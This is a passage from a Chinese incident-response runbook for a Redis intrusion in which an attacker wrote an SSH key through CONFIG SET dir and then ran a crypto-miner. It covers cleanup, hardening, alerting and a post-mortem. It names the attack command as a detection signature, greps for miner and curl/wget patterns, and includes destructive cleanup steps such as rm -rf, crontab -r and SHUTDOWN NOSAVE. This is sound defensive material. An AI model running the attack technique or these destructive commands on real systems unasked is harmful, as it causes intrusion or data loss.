# 1. Redis 加临时密码(不要重启的方式)
redis-cli -h 127.0.0.1 -p 6379 CONFIG SET requirepass "TmpP@ssw0rd!2026"
# 2. 通知业务方更新 Redis 连接配置
# 如果是 Spring Boot,改 spring.redis.password
# 如果是 Go 改 redis.Options.Password
# 3. 关闭 bind
redis-cli -h 127.0.0.1 -p 6379 -a "TmpP@ssw0rd!2026" CONFIG SET bind "127.0.0.1"
# 注意:改 bind 可能要重启 Redis 才生效
# 4. 临时停服(如果需要)
redis-cli -h 127.0.0.1 -p 6379 -a "TmpP@ssw0rd!2026" SHUTDOWN NOSAVE
风险提醒:SHUTDOWN NOSAVE 会丢弃所有内存数据,生产环境慎用。但在被入侵的情况下,业务数据的恢复优先级低于“切断攻击者继续访问”。
5 清理步骤
5.1 进程清理总览
# 1. 找出所有可疑进程
ps auxf | grep -E '(kdevtmpfsi|xmrig|minerd|miner|/tmp/.*/.*)'
# 2. 抓 dump
gcore <PID>
# 3. 暂停 + 杀
kill -STOP <PID>
sleep 1
kill -9 <PID>
# 4. 验证
ps auxf | grep -E '(kdevtmpfsi|xmrig|minerd|miner)'
5.2 crontab 清理
# 备份后清空
crontab -l > /tmp/crontab.bak
crontab -r
# 检查 /etc/cron.* 目录
find /etc/cron* -type f -exec grep -lE '(curl|wget|bash -c)' {} \;
5.3 启动项清理
# 1. systemd
find /etc/systemd/system /usr/lib/systemd/system -name "*.service" -mtime -30
# 2. rc.local
echo "" > /etc/rc.local # 或注释掉里面的内容
# 3. rc.d
ls -la /etc/rc.d/rc3.d/
5.4 SSH 密钥清理
# 清理 authorized_keys
for h in $(cut -f6 -d: /etc/passwd); do
if [ -f $h/.ssh/authorized_keys ]; then
cp $h/.ssh/authorized_keys $h/.ssh/authorized_keys.bak.$(date +%s)
echo "" > $h/.ssh/authorized_keys
fi
done
5.5 临时文件清理
# 清空 /tmp(注意:会清掉正常用户的临时文件)
find /tmp -mindepth 1 -maxdepth 1 -mtime +0 -exec rm -rf {} \;
# 或者只清可疑
rm -rf /tmp/.x /tmp/.cache /tmp/.* 2>/dev/null
# 清空 /dev/shm
rm -rf /dev/shm/*
# 取消 chattr 锁定
chattr -ia /var/spool/cron/root 2>/dev/null
5.6 重装 Redis
# 1. 备份当前 redis 数据(以防万一)
cp -a /var/lib/redis /opt/ir/.../redis_data.bak
# 2. 停服
systemctl stop redis
# 3. 重新生成配置(用干净的 redis.conf)
cp /etc/redis/redis.conf /etc/redis/redis.conf.bak
# 重新写一份(见 6.1 加固配置)
# 4. 启动
systemctl start redis
5.7 重装系统(最彻底的方式)
# 1. 业务全部迁走
# 2. 备份关键数据
# 3. 通过云控制台“重置系统盘”
# 4. 重新部署 Redis
# 5. 验证业务
6 加固方案
6.1 Redis 加固配置
/etc/redis/redis.conf 的关键配置:
# 1. 监听地址:只监听内网
bind 127.0.0.1 10.20.30.40
# 2. 端口:保持默认或换一个
port 6379
# 3. protected-mode
protected-mode yes
# 4. 密码:必须强密码,建议 20 位以上随机
requirepass $(openssl rand -base64 32)
# 5. 禁用危险命令
rename-command CONFIG ""
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command KEYS ""
rename-command DEBUG ""
rename-command SHUTDOWN "REDIS_SHUTDOWN_SUPER_SECRET"
rename-command SLAVEOF ""
rename-command REPLICAOF ""
# 6. 持久化
appendonly yes
appendfsync everysec
dir /var/lib/redis/
dbfilename dump.rdb
# 7. 最大客户端数
maxclients 10000
# 8. 慢日志
slowlog-log-slower-than 10000
slowlog-max-len 128
# 9. 内存上限
maxmemory 6gb
maxmemory-policy allkeys-lru
# 10. 后台运行
daemonize yes
pidfile /var/run/redis_6379.pid
logfile /var/log/redis/redis.log
loglevel notice
# 11. 安全:禁用一些不安全的备份机制
rdbcompression yes
rdbchecksum yes
注意:上面 rename-command 把命令改成空字符串,注意兼容性——如果有客户端使用这些命令,会直接报错。如果不能改空,可以改成不容易猜到的字符串,如 rename-command CONFIG "C0NFIG_N3W_N4M3"。
6.2 Redis ACL(Redis 6+)
# 创建只读用户
redis-cli -h 127.0.0.1 -p 6379 -a "$REDIS_PASS" ACL SETUSER readonly on '>readonly_pass' '~*' '+@read' '+@connection' '+ping' '+info'
# 创建业务用户
redis-cli -h 127.0.0.1 -p 6379 -a "$REDIS_PASS" ACL SETUSER business on '>business_pass' '~app:*' '~session:*' '+@read' '+@write' '+del' '+expire'
# 创建管理员
redis-cli -h 127.0.0.1 -p 6379 -a "$REDIS_PASS" ACL SETUSER admin on '>admin_pass' '~*' '+@all'
# 查看
redis-cli -h 127.0.0.1 -p 6379 -a "$REDIS_PASS" ACL LIST
6.3 系统层加固
6.3.1 SSH 加固
# /etc/ssh/sshd_config
Port 2222 # 改端口
Protocol 2
PermitRootLogin prohibit-password
PasswordAuthentication no
ChallengeResponseAuthentication no
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
MaxAuthTries 3
MaxSessions 5
LoginGraceTime 30
AllowUsers ops admin # 白名单
AllowGroups ops ssh-users
ClientAliveInterval 300
ClientAliveCountMax 2
UseDNS no # 加快登录
6.3.2 用户与权限
# 1. 锁定无用账户
for u in lp sync shutdown halt news uucp operator games gopher; do
usermod -L $u
done
# 2. 关键目录权限
chmod 700 /root
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
chmod 600 /etc/shadow
chmod 600 /etc/gshadow
# 3. /etc/passwd 完整性
md5sum /etc/passwd /etc/shadow
6.3.3 内核参数
# /etc/sysctl.d/99-security.conf
# 防 SYN flood
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 8192
# 防 IP 欺骗
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
# 不接受 ICMP 重定向
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.default.secure_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0
# 不接受源路由
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
# 记录可疑包
net.ipv4.conf.all.log_martians = 1
# 忽略 ping 请求(可选)
net.ipv4.icmp_echo_ignore_broadcasts = 1
6.3.4 文件锁与完整性
# 1. chattr 锁定关键文件
chattr +i /etc/passwd /etc/shadow /etc/group /etc/gshadow /etc/sudoers
chattr +i /etc/ssh/sshd_config
# 注意:+i 之后文件不能修改,添加用户前需要 chattr -i
# 2. 文件完整性检查(AIDE / Tripwire)
yum install -y aide
aide --init
mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
# 定期跑
aide --check
6.4 网络层加固
6.4.1 安全组(云厂商)
- 6379 端口只对内网开放(Source IP = 内网 CIDR)
- 22 端口只对堡垒机开放
- 80/443 端口对全公网开放
6.4.2 主机防火墙
# 持久化
firewall-cmd --permanent --remove-port=6379/tcp
firewall-cmd --permanent --add-rich-rule='rule family=ipv4 source address=10.20.0.0/16 port port=6379 protocol=tcp accept'
firewall-cmd --reload
6.4.3 内网访问控制
如果用 VPC,限制 Redis 只能被特定子网访问;如果用 K8s,使用 NetworkPolicy 限制。
7 监控告警
7.1 Redis 自身监控
7.1.1 通过 redis_exporter
redis_exporter 是 Prometheus 官方推荐的 Redis 指标采集器。
# 安装
wget https://github.com/oliver006/redis_exporter/releases/download/v1.58.0/redis_exporter-1.58.0.linux-amd64.tar.gz
tar xzf redis_exporter-1.58.0.linux-amd64.tar.gz
cd redis_exporter-1.58.0.linux-amd64
# 启动
nohup ./redis_exporter \
--redis.addr=redis://127.0.0.1:6379 \
--redis.password=$REDIS_PASS \
--web.listen-address=:9121 \
> /var/log/redis_exporter.log 2>&1 &
7.1.2 关键指标
| 指标 |
含义 |
告警阈值(基线) |
redis_connected_clients |
当前连接数 |
突增 50% |
redis_used_memory_bytes |
已用内存 |
接近 maxmemory 80% |
redis_used_memory_rss_bytes |
RSS 占用 |
超过物理内存 70% |
redis_commands_total |
命令总数 |
突增 200% |
redis_commands_duration_seconds_total |
命令耗时总和 |
平均 > 10ms |
redis_keyspace_hits_total |
命中数 |
命中率 < 80% |
redis_keyspace_misses_total |
未命中数 |
突增 |
redis_rejected_connections_total |
拒绝连接数 |
> 0 |
redis_up |
实例存活 |
== 0 |
redis_master_link_up |
主从链路状态(0/1) |
== 0 |
redis_db_keys |
各 db 的 key 数 |
突增 |
redis_slowlog_length |
慢日志条数 |
> 100 |
7.1.3 关键告警规则
groups:
- name: redis_alerts
rules:
- alert: RedisDown
expr: redis_up == 0
for: 1m
labels:
severity: critical
annotations:
summary: "Redis instance down"
description: "Redis {{ $labels.instance }} is down for 1 minute"
- alert: RedisConnectedClientsHigh
expr: redis_connected_clients > 5000
for: 5m
labels:
severity: warning
annotations:
summary: "Redis connected clients too high"
- alert: RedisMemoryHigh
expr: redis_used_memory_bytes / redis_max_memory_bytes > 0.85
for: 5m
labels:
severity: warning
- alert: RedisSlowlogTooMany
expr: redis_slowlog_length > 100
for: 10m
labels:
severity: warning
- alert: RedisRejectedConnections
expr: increase(redis_rejected_connections_total[5m]) > 10
for: 1m
labels:
severity: critical
annotations:
summary: "Redis is rejecting connections"
阈值说明:上面数字是举例,生产环境要结合业务基线调整。比如有的业务连接数基线 2000,告警阈值要相应调高。
7.2 主机层监控
groups:
- name: host_alerts
rules:
- alert: HostCPUHigh
expr: 100 - (avg by(instance) (irate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) > 90
for: 5m
labels:
severity: warning
- alert: HostCPUCritical
expr: 100 - (avg by(instance) (irate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) > 98
for: 3m
labels:
severity: critical
- alert: HostOutboundTrafficHigh
expr: rate(node_network_transmit_bytes_total{device!="lo"}[5m]) > 100 * 1024 * 1024
for: 5m
labels:
severity: warning
# 以下 3 条规则依赖 node_exporter textfile collector
# 配合 push_cron_count.sh / push_file_mtime.sh 等脚本(见 14.5 附录)
# 不同 exporter 指标名可能不同,下面写法为示例,以实际采集的指标为准
- alert: HostNewCrontab
expr: |
changes(cron_total_count[10m]) > 0
for: 0m
labels:
severity: critical
annotations:
summary: "Crontab changed on {{ $labels.instance }}"
description: "Possible unauthorized crontab modification"
- alert: HostNewSudoers
expr: |
changes(file_mtime_seconds{path="/etc/sudoers"}[10m]) > 0
for: 0m
labels:
severity: critical
- alert: HostNewAuthorizedKeys
expr: |
changes(file_mtime_seconds{path=~"/.+/.ssh/authorized_keys"}[10m]) > 0
for: 0m
labels:
severity: critical
7.3 安全告警
- WAF 检测到对 6379 的扫描
- 堡垒机检测到异常登录(地理位置异常、登录时间异常)
- IDS 检测到
CONFIG SET dir /root/.ssh 类 payload
8 复盘
8.1 根因
本文事件的根因清单:
- Redis bind 0.0.0.0:监听公网,暴露在互联网
- 未设密码:
requirepass 为空
- protected-mode no:Redis 自身的保护机制被显式关闭
- 未使用 ACL:Redis 6+ 提供了 ACL,但未使用
- 安全组对公网开放 6379:云厂商层面的安全组被错误配置
- 缺少告警:Redis 连接数、CPU、出口流量没有及时告警
- 缺少应急手册:运维在收到告警后第 1 分钟不知道该做什么
8.2 时间线复盘
| 时间 |
事件 |
关键决策 |
改进点 |
| 02:14 |
Redis 被外部连接 |
攻击者利用未授权 |
应在 11 个月前发现并修复 |
| 02:15 |
CONFIG SET dir /root/.ssh |
攻击者写 SSH 公钥 |
应禁用 CONFIG 命令 |
| 02:17 |
攻击者 SSH 登录 |
进入系统 |
应禁用密码登录 |
| 02:30 |
启动挖矿进程 |
大量 CPU 占用 |
应有 CPU 告警 |
| 02:47 |
监控告警 |
运维收到告警 |
告警延迟 17 分钟 |
| 02:47 |
应急响应启动 |
进入 4.1 流程 |
流程比没有强 |
8.3 改进措施
-
技术层面
- 立即将所有 Redis bind 改为内网 IP
- 全部 Redis 设置强密码
- 启用 protected-mode
- 启用 rename-command
- 启用 ACL(Redis 6+)
- 启用 maxmemory
- 启用慢日志
-
监控层面
- 添加 Redis 连接数、CPU、内存告警
- 添加主机 CPU、出口流量告警
- 添加 crontab 变更告警
- 添加 authorized_keys 变更告警
-
流程层面
- 编写 Redis 部署标准(标准化配置)
- 编写 Redis 应急响应手册
- 编写 Redis 加固 checklist
- 定期演练“Redis 被入侵”剧本
- 引入合规扫描(如基线检查工具)
-
管理层面
- 申请堡垒机统一入口
- 申请配置中心(Git 管理配置)
- 申请堡垒机录制所有 SSH 会话
- 申请变更审计
8.4 教训总结
- Redis 绝不能监听公网——这条规则可以写进任何新员工培训手册
- 弱密码或无密码 = 没有密码——任何中间件、数据库都适用
- 应急响应不要在主机上“修”——能重装就重装,节省的时间远大于重装本身
- 取证要早——挖矿进程可能 5 分钟就自删,所有现场要先固化
- 告警要“组合”——单一 CPU 告警可能被误报,CPU + 连接数 + 出口流量三者组合更准
9 常用命令速查
9.1 Redis 排查
# 基础
redis-cli -h 127.0.0.1 -p 6379 PING
redis-cli -h 127.0.0.1 -p 6379 INFO server
redis-cli -h 127.0.0.1 -p 6379 INFO clients
redis-cli -h 127.0.0.1 -p 6379 INFO memory
redis-cli -h 127.0.0.1 -p 6379 INFO stats
redis-cli -h 127.0.0.1 -p 6379 INFO replication
redis-cli -h 127.0.0.1 -p 6379 INFO keyspace
redis-cli -h 127.0.0.1 -p 6379 INFO commandstats
# 配置
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET "*"
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET requirepass
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET bind
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET dir
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET dbfilename
redis-cli -h 127.0.0.1 -p 6379 CONFIG REWRITE # 写回配置文件
# 客户端
redis-cli -h 127.0.0.1 -p 6379 CLIENT LIST
redis-cli -h 127.0.0.1 -p 6379 CLIENT KILL ADDR <ip:port>
redis-cli -h 127.0.0.1 -p 6379 CLIENT KILL TYPE normal
# 慢日志
redis-cli -h 127.0.0.1 -p 6379 SLOWLOG GET 100
redis-cli -h 127.0.0.1 -p 6379 SLOWLOG LEN
redis-cli -h 127.0.0.1 -p 6379 SLOWLOG RESET
# 内存
redis-cli -h 127.0.0.1 -p 6379 DEBUG OBJECT <key>
redis-cli -h 127.0.0.1 -p 6379 MEMORY USAGE <key>
# 大 key 扫描(生产环境慎用 KEYS)
redis-cli -h 127.0.0.1 -p 6379 --bigkeys
redis-cli -h 127.0.0.1 -p 6379 --memkeys
9.2 主机层
# CPU
top -c
htop
ps -eo pid,ppid,user,pcpu,pmem,start,etime,cmd --sort=-pcpu
# 内存
free -h
cat /proc/meminfo
# 磁盘
df -h
du -sh /tmp /var/tmp /dev/shm
iostat -xz 1 5
# 网络
ss -antp
netstat -antp
iftop -i eth0
nethogs
# 进程
ps auxf
pstree -ap
ls /proc/<pid>/exe -la
ls /proc/<pid>/cwd -la
cat /proc/<pid>/cmdline | xargs -0 echo
# 开机启动
systemctl list-unit-files --state=enabled
ls /etc/rc.d/rc3.d/
# crontab
crontab -l
ls -la /etc/cron*
9.3 网络层
# iptables
iptables -L -n -v
iptables-save
iptables-restore < /tmp/iptables.bak
# nftables
nft list ruleset
nft flush ruleset # 危险!慎用
# firewall
firewall-cmd --list-all
firewall-cmd --panic-on
# 路由
ip route
ip rule
# DNS
cat /etc/resolv.conf
dig @8.8.8.8 example.com
9.4 取证
# 用户
cat /etc/passwd
cat /etc/shadow
w
who
last
lastb
# 启动
cat /proc/1/cmdline | xargs -0 echo
ls -la /etc/init.d/
ls -la /etc/rc.d/
# 隐藏进程
ls -la /proc/ | grep -E '^[0-9]'
# 内核模块
lsmod
cat /proc/modules
# 加载的动态库
cat /proc/<pid>/maps
# 二进制
file /bin/ps
md5sum /bin/ps
9.5 工具
# chkrootkit
chkrootkit -q
# rkhunter
rkhunter --check
# clamav
yum install -y clamav
freshclam
clamscan -r /tmp /var/tmp /dev/shm
# unhide
unhide proc
unhide sys
unhide brute
# audit
auditctl -w /etc/passwd -p wa -k passwd_changes
ausearch -k passwd_changes
10 配置示例合集
10.1 redis_exporter systemd unit
# /etc/systemd/system/redis_exporter.service
[Unit]
Description=Redis Exporter
After=network.target
[Service]
Type=simple
User=redis_exporter
Group=redis_exporter
Environment="REDIS_ADDR=redis://127.0.0.1:6379"
Environment="REDIS_PASSWORD_FILE=/etc/redis_exporter/.redis_password"
ExecStart=/usr/local/bin/redis_exporter \
--redis.addr=${REDIS_ADDR} \
--redis.password-file=${REDIS_PASSWORD_FILE} \
--web.listen-address=:9121 \
--web.telemetry-path=/metrics
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
10.2 Prometheus job 配置
scrape_configs:
- job_name: 'redis'
static_configs:
- targets:
- 'redis-prod-01:9121'
- 'redis-prod-02:9121'
- 'redis-prod-03:9121'
scrape_interval: 30s
scrape_timeout: 10s
10.3 安全组规则(AWS / 阿里云风格)
# 入方向
- protocol: tcp
port: 22
source: 10.10.0.0/16 # 堡垒机
action: accept
- protocol: tcp
port: 6379
source: 10.20.0.0/16 # 业务网段
action: accept
- protocol: tcp
port: 9100 # node_exporter
source: 10.20.0.0/16
action: accept
- protocol: tcp
port: 9121 # redis_exporter
source: 10.20.0.0/16
action: accept
- protocol: -1
action: drop
# 出方向
- protocol: tcp
port: 443
destination: 0.0.0.0/0
action: accept # 监控、镜像仓库
- protocol: tcp
port: 53
destination: 10.20.0.53 # 内网 DNS
action: accept
- protocol: -1
action: drop
10.4 Fail2ban
# /etc/fail2ban/jail.local
[redis]
enabled = true
port = 6379
filter = redis
logpath = /var/log/redis/redis.log
maxretry = 5
bantime = 3600
findtime = 600
# /etc/fail2ban/filter.d/redis.conf
[Definition]
failregex = ^.*Client.*connected from <HOST>.*denied.*$
ignoreregex =
10.5 iptables 完整脚本(生产环境兜底)
#!/bin/bash
# /root/scripts/firewall_setup.sh
# 用法:./firewall_setup.sh
# 作用:设置 iptables 兜底规则
# 注意:执行前确认能从堡垒机 SSH 进入
set -euo pipefail
LOG=/var/log/firewall_setup.log
echo "$(date +%F_%T) start" >> $LOG
# 1. 备份
iptables-save > /tmp/iptables.bak.$(date +%s)
echo "backup ok" >> $LOG
# 2. 清空自定义规则(保留默认策略)
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
# 3. 放行 loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# 4. 放行已建立的连接
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 5. 放行堡垒机 SSH
iptables -A INPUT -p tcp -s 10.10.0.0/16 --dport 22 -j ACCEPT
# 6. 放行内网 Redis(来自业务网段)
iptables -A INPUT -p tcp -s 10.20.0.0/16 --dport 6379 -j ACCEPT
# 7. 放行监控
iptables -A INPUT -p tcp -s 10.20.0.0/16 --dport 9100 -j ACCEPT
iptables -A INPUT -p tcp -s 10.20.0.0/16 --dport 9121 -j ACCEPT
# 8. 放行 DNS
iptables -A OUTPUT -p udp -d 10.20.0.53 --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -d 10.20.0.53 --dport 53 -j ACCEPT
# 9. 放行 NTP
iptables -A OUTPUT -p udp -d 10.20.0.123 --dport 123 -j ACCEPT
# 10. 放行镜像仓库
iptables -A OUTPUT -p tcp -d mirrors.aliyun.com --dport 443 -j ACCEPT
# 11. 放行监控上报
iptables -A OUTPUT -p tcp -d 10.20.0.50 --dport 9090 -j ACCEPT
# 12. 阻断其他入站
iptables -A INPUT -j DROP
iptables -A FORWARD -j DROP
# 13. 阻断其他出站
iptables -A OUTPUT -j DROP
# 14. 持久化
service iptables save 2>/dev/null || iptables-save > /etc/sysconfig/iptables
echo "saved" >> $LOG
# 15. 验证
iptables -L -n -v >> $LOG
echo "done" >> $LOG
11 验证方式
11.1 Redis 加固后的验证
# 1. 验证密码生效
redis-cli -h 127.0.0.1 -p 6379 PING
# 输出:(error) NOAUTH Authentication required.
redis-cli -h 127.0.0.1 -p 6379 -a "$REDIS_PASS" PING
# 输出:PONG
# 2. 验证 protected-mode
redis-cli -h 10.20.30.40 -p 6379 PING
# 正确输出(内网 IP 在 bind 中):PONG
redis-cli -h <公网 IP> -p 6379 PING
# 正确输出:连接被拒
# 3. 验证 rename-command
redis-cli -h 127.0.0.1 -p 6379 -a "$REDIS_PASS" KEYS '*'
# 正确输出:(error) ERR unknown command 'KEYS'
# 4. 验证 ACL
redis-cli -h 127.0.0.1 -p 6379 -a "$REDIS_PASS" ACL WHOAMI
# 输出:default
# 5. 验证 maxmemory
redis-cli -h 127.0.0.1 -p 6379 -a "$REDIS_PASS" INFO memory | grep maxmemory
11.2 主机层验证
# 1. SSH 密码登录被禁
ssh -o PubkeyAuthentication=no -o PreferredAuthentications=password user@host
# 正确输出:Permission denied (publickey)
# 2. crontab 完整性
crontab -l | grep -v '^#' | grep -v '^$'
# 正确输出:只有自己设置的定时任务
# 3. authorized_keys 完整性
cat /root/.ssh/authorized_keys
# 正确输出:只有自己的公钥
# 4. /etc/ld.so.preload
cat /etc/ld.so.preload
# 正确输出:空或注释
# 5. 文件完整性
md5sum /bin/ps /bin/netstat /usr/bin/lsof
# 与备份对比一致
11.3 网络层验证
# 1. 公网 6379 不可达
nmap -p 6379 <公网 IP>
# 正确输出:filtered 或 closed
# 2. 内网 6379 可达
redis-cli -h 10.20.30.40 -p 6379 PING
# 正确输出:PONG
# 3. 防火墙规则
iptables -L -n -v | head -50
11.4 监控告警验证
- 触发一次 CPU > 90% 的告警演练
- 触发一次连接数 > 5000 的告警演练
- 触发一次 crontab 变更的告警
- 触发一次 authorized_keys 变更的告警
12 风险提醒清单
下面这些操作都属于“破坏性操作”或“高风险操作”,必须按本文要求处理:
| 操作 |
风险 |
缓解 |
iptables -F |
SSH 断开 |
在 INPUT 链默认 ACCEPT 时执行;或先放行 SSH |
iptables -P INPUT DROP |
SSH 断开 |
确认规则已放行 SSH |
redis-cli SHUTDOWN |
内存数据丢失 |
SHUTDOWN NOSAVE 仅在被入侵时使用;正常情况 SHUTDOWN 会持久化 |
redis-cli FLUSHDB / FLUSHALL |
业务数据丢失 |
演练使用;生产环境必须经过审批 |
kill -9 redis-server |
同上 |
优先用 redis-cli SHUTDOWN |
crontab -r |
自定义任务丢失 |
备份原 crontab |
rm -rf /tmp/.x |
取证数据丢失 |
提前 tar 打包 |
systemctl disable <service> |
影响正常服务 |
先 systemctl list-unit-files 确认 |
chattr +i /etc/passwd |
无法添加用户 |
临时操作前先 -i 解除 |
userdel |
用户被误删 |
二次确认 |
chmod 600 /etc/shadow |
误操作 root 锁死 |
提前确认 |
systemctl restart sshd |
当前 SSH 会话可能断 |
优先 systemctl reload sshd |
| 云控制台“重置系统盘” |
数据全部丢失 |
提前完整备份;新部署预案 |
修改 bind / requirepass 后没 CONFIG REWRITE |
重启后失效 |
改完 CONFIG REWRITE 或修改 redis.conf |
13 回滚方案
13.1 配置回滚
# 1. Redis 配置回滚
cp /etc/redis/redis.conf.bak /etc/redis/redis.conf
systemctl restart redis
# 2. SSH 配置回滚
cp /etc/ssh/sshd_config.bak /etc/ssh/sshd_config
systemctl reload sshd
# 3. iptables 规则回滚
iptables-restore < /tmp/iptables.bak.<timestamp>
13.2 数据回滚
# 1. Redis 数据回滚
# 从 RDB 恢复
systemctl stop redis
cp /var/lib/redis/dump.rdb /var/lib/redis/dump.rdb.bak
# 把备份的 RDB 放回
cp /opt/backup/redis/dump.<date>.rdb /var/lib/redis/dump.rdb
chown redis:redis /var/lib/redis/dump.rdb
systemctl start redis
# 2. 从 AOF 恢复
systemctl stop redis
rm -f /var/lib/redis/dump.rdb
cp /opt/backup/redis/appendonly.<date>.aof /var/lib/redis/appendonly.aof
chown redis:redis /var/lib/redis/appendonly.aof
systemctl start redis
注意:Redis 从备份恢复会丢失最近一次备份到现在的数据。要结合 binlog/AOF 时间点恢复。
13.3 系统回滚(云厂商重置系统盘)
# 1. 数据备份(再次确认)
rsync -a /var/lib/redis /opt/backup/redis_emergency/
# 2. 通过云控制台“重置系统盘”
# 3. 重新部署 Redis
# 4. 恢复数据
14 附录
14.1 Redis 安全检查 Checklist
[ ] bind 是否限制为内网 IP
[ ] protected-mode 是否为 yes
[ ] requirepass 是否为强密码(20+ 位)
[ ] 是否使用 ACL(Redis 6+)
[ ] 危险命令是否被 rename
[ ] 是否启用 appendonly
[ ] 是否设置 maxmemory 和 maxmemory-policy
[ ] 慢日志是否开启
[ ] 安全组是否对公网关闭 6379
[ ] 是否有定期的 KEY 命名规范扫描
[ ] 是否有定期的 ACL 审计
[ ] 是否有 redis_exporter 监控
[ ] 告警阈值是否合理
[ ] 应急响应手册是否到位
[ ] 是否做过 Redis 入侵演练
14.2 取证清单
[ ] 系统时间
[ ] 系统版本
[ ] 进程快照
[ ] 网络快照
[ ] 用户和登录快照
[ ] crontab 快照
[ ] SSH 配置和密钥
[ ] 启动项
[ ] Redis 配置和命令
[ ] 临时目录
[ ] 关键日志
[ ] 内核模块
[ ] 文件完整性(md5)
[ ] 内存快照(可选)
[ ] 磁盘镜像(可选)
14.3 应急剧本(剧本库)
剧本:Redis CPU 100%
1. 收到 CPU 告警
2. 登机,top -c
3. 找出 CPU 占用最高进程
4. /proc/<pid>/exe 看可执行文件
5. 如果是 kdevtmpfsi / xmrig / minerd 等,进入“挖矿应急”
6. 如果是 redis-server 本身,进入“Redis 性能应急”
7. 隔离主机
8. 取证
9. 清理或重装
10. 复盘
剧本:Redis 突然返回 nil
1. 收到业务告警
2. redis-cli PING
3. 验证密码
4. KEYS '*' 抽样
5. INFO memory
6. INFO replication
7. 看是否被 FLUSHDB
8. 看是否被 KEYS * 阻塞
9. 看是否 OOM
10. 决策:恢复 / 扩容 / 限流
剧本:Redis 不可用
1. 收到 RedisDown 告警
2. redis-cli PING
3. 验证进程存活
4. 看磁盘空间
5. 看系统日志
6. 重启尝试
7. 失败则启用备份
8. SLA 通知业务
9. 复盘
14.4 后续建设清单
-
短期(1 周内)
- 全量 Redis 加密码、改 bind
- 全量 Redis 启用 ACL
- 修补安全组
- 修补监控告警
-
中期(1 个月内)
- 引入配置中心(Git 管理)
- 引入堡垒机
- 引入配置合规扫描
- 制定 Redis 部署标准
-
长期(3 个月内)
- 全量系统审计
- 定期应急演练
- 安全培训
- 建立蓝军 / 红军机制
14.5 主机文件变更采集脚本(textfile collector)
Prometheus 官方 node_exporter 并不直接暴露任意文件 mtime。要做“crontab 变更告警”或“authorized_keys 变更告警”,标准做法是用 textfile collector 配合 cron 跑的自定义脚本。
14.5.1 推送 crontab 总数
/etc/cron.d/push_cron_count.sh:
#!/bin/bash
# 每 1 分钟跑一次,把每个用户的 crontab 总条数推到 textfile
# 依赖:crontab 命令;node_exporter 启用 --collector.textfile.directory
set -euo pipefail
OUT_DIR=/var/lib/node_exporter/textfile_collector
TMPF=$(mktemp ${OUT_DIR}/cron_count.XXXXXX)
trap "rm -f $TMPF" EXIT
{
echo "# HELP cron_total_count Total cron lines per user (incl. comments and blanks)"
echo "# TYPE cron_total_count gauge"
total=0
while IFS=: read -r user _ uid _ _ home shell; do
[ "$uid" -lt 1000 ] && continue # 跳系统用户
[ -z "$shell" ] && continue
case "$shell" in */nologin|*/false) continue ;; esac
if [ -f "$home/.crontab_count" ]; then
n=$(cat "$home/.crontab_count" 2>/dev/null || echo 0)
else
n=$(crontab -l -u "$user" 2>/dev/null | wc -l)
echo "$n" > "$home/.crontab_count"
fi
echo "cron_total_count{user=\"$user\"} $n"
total=$((total + n))
done < /etc/passwd
echo "cron_total_count{user=\"__all__\"} $total"
} > "$TMPF"
mv "$TMPF" "${OUT_DIR}/cron_count.prom"
14.5.2 推送关键文件 mtime
/etc/cron.d/push_file_mtime.sh:
#!/bin/bash
# 每 1 分钟跑一次,把关键文件的 mtime 推到 textfile
set -euo pipefail
OUT_DIR=/var/lib/node_exporter/textfile_collector
TMPF=$(mktemp ${OUT_DIR}/file_mtime.XXXXXX)
trap "rm -f $TMPF" EXIT
{
echo "# HELP file_mtime_seconds File mtime (epoch seconds) of security-sensitive files"
echo "# TYPE file_mtime_seconds gauge"
for f in /etc/passwd /etc/shadow /etc/sudoers /etc/ssh/sshd_config; do
if [ -e "$f" ]; then
mtime=$(stat -c %Y "$f")
echo "file_mtime_seconds{path=\"$f\"} $mtime"
fi
done
# 所有用户的 authorized_keys
while IFS=: read -r user _ uid _ _ home _; do
[ "$uid" -lt 1000 ] && continue
f="$home/.ssh/authorized_keys"
if [ -f "$f" ]; then
mtime=$(stat -c %Y "$f")
echo "file_mtime_seconds{path=\"$f\"} $mtime"
fi
done < /etc/passwd
} > "$TMPF"
mv "$TMPF" "${OUT_DIR}/file_mtime.prom"
14.5.3 node_exporter 启动参数
# /etc/default/prometheus-node-exporter
# 加上:
ARGS="--collector.textfile.directory=/var/lib/node_exporter/textfile_collector"
mkdir -p /var/lib/node_exporter/textfile_collector
chown -R node_exporter:node_exporter /var/lib/node_exporter/textfile_collector
systemctl restart prometheus-node-exporter
14.5.4 crontab 注册
chmod +x /etc/cron.d/push_cron_count.sh /etc/cron.d/push_file_mtime.sh
cat > /etc/cron.d/push_exporter_metrics << 'EOF'
* * * * * root /etc/cron.d/push_cron_count.sh >/dev/null 2>&1
* * * * * root /etc/cron.d/push_file_mtime.sh >/dev/null 2>&1
EOF
chmod 644 /etc/cron.d/push_exporter_metrics
风险提醒:写 /etc/cron.d/ 文件前要确保文件内容里有 user 字段(这里是 root),否则 cron 会拒绝执行;写完后要 ls -la 看权限,避免被挖矿脚本发现后清空。
15 总结
